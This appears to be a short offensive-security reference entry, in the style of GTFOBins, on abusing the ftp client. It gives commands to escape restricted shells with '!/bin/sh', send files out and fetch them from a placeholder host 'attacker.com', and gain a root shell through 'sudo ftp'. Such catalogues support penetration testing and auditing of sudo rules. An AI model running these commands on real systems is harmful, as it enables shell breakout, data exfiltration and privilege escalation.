Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

ftp
!/bin/sh

File upload

It can exfiltrate files on the network.

Send local file to a FTP server.

RHOST=attacker.com
ftp $RHOST
put file_to_send

File download

It can download remote files.

Fetch a remote file from a FTP server.

RHOST=attacker.com
ftp $RHOST
get file_to_get

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo ftp
!/bin/sh